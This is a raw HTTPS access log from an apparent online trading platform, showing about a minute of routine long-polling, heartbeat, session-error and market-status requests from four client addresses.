[09/Jan/2026:13:56:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938476048 HTTP/1.1" -
[09/Jan/2026:13:56:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:56:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:56:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938484652 HTTP/1.1" -
[09/Jan/2026:13:56:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938495852 HTTP/1.1" -
[09/Jan/2026:13:56:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938478691 HTTP/1.1" -
[09/Jan/2026:13:56:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938481199 HTTP/1.1" -
[09/Jan/2026:13:56:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:56:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:56:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:56:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938489677 HTTP/1.1" -
[09/Jan/2026:13:56:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938500878 HTTP/1.1" -
[09/Jan/2026:13:56:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938484067 HTTP/1.1" -
[09/Jan/2026:13:56:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938486332 HTTP/1.1" -
[09/Jan/2026:13:56:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938494769 HTTP/1.1" -
[09/Jan/2026:13:57:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938505944 HTTP/1.1" -
[09/Jan/2026:13:57:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938489119 HTTP/1.1" -
[09/Jan/2026:13:57:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938491468 HTTP/1.1" -
[09/Jan/2026:13:57:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:57:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938499845 HTTP/1.1" -
[09/Jan/2026:13:57:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938510977 HTTP/1.1" -
[09/Jan/2026:13:57:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938494172 HTTP/1.1" -
[09/Jan/2026:13:57:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938496661 HTTP/1.1" -
[09/Jan/2026:13:57:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938504938 HTTP/1.1" -
[09/Jan/2026:13:57:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:57:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:57:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:57:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938516046 HTTP/1.1" -
[09/Jan/2026:13:57:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938499321 HTTP/1.1" -
[09/Jan/2026:13:57:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938501720 HTTP/1.1" -
[09/Jan/2026:13:57:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938510008 HTTP/1.1" -
[09/Jan/2026:13:57:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938521073 HTTP/1.1" -
[09/Jan/2026:13:57:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938504365 HTTP/1.1" -
[09/Jan/2026:13:57:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938506781 HTTP/1.1" -
[09/Jan/2026:13:57:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:57:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:57:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938515106 HTTP/1.1" -
[09/Jan/2026:13:57:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938526098 HTTP/1.1" -
[09/Jan/2026:13:57:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938509430 HTTP/1.1" -
[09/Jan/2026:13:57:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938511907 HTTP/1.1" -
[09/Jan/2026:13:57:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:57:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:57:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938520144 HTTP/1.1" -
[09/Jan/2026:13:57:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938531123 HTTP/1.1" -
[09/Jan/2026:13:57:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938514510 HTTP/1.1" -
[09/Jan/2026:13:57:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938517096 HTTP/1.1" -
[09/Jan/2026:13:57:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938525211 HTTP/1.1" -
[09/Jan/2026:13:57:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938536158 HTTP/1.1" -
[09/Jan/2026:13:57:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938519533 HTTP/1.1" -
[09/Jan/2026:13:57:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938522339 HTTP/1.1" -
[09/Jan/2026:13:57:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:57:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938530310 HTTP/1.1" -
[09/Jan/2026:13:57:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938541222 HTTP/1.1" -
[09/Jan/2026:13:57:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938524568 HTTP/1.1" -
[09/Jan/2026:13:57:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938527563 HTTP/1.1" -
[09/Jan/2026:13:57:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:57:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:57:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938535374 HTTP/1.1" -
[09/Jan/2026:13:57:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:57:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938546293 HTTP/1.1" -
[09/Jan/2026:13:57:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938529672 HTTP/1.1" -
[09/Jan/2026:13:57:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938532609 HTTP/1.1" -
[09/Jan/2026:13:57:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938540467 HTTP/1.1" -
[09/Jan/2026:13:57:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938551313 HTTP/1.1" -
[09/Jan/2026:13:57:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938534747 HTTP/1.1" -
[09/Jan/2026:13:57:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938537662 HTTP/1.1" -
[09/Jan/2026:13:57:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:57:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:57:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938545550 HTTP/1.1" -
[09/Jan/2026:13:57:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938556343 HTTP/1.1" -
[09/Jan/2026:13:57:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938539816 HTTP/1.1" -
[09/Jan/2026:13:57:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:57:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938542825 HTTP/1.1" -
[09/Jan/2026:13:57:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:57:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:57:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938550581 HTTP/1.1" -
[09/Jan/2026:13:57:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938561371 HTTP/1.1" -
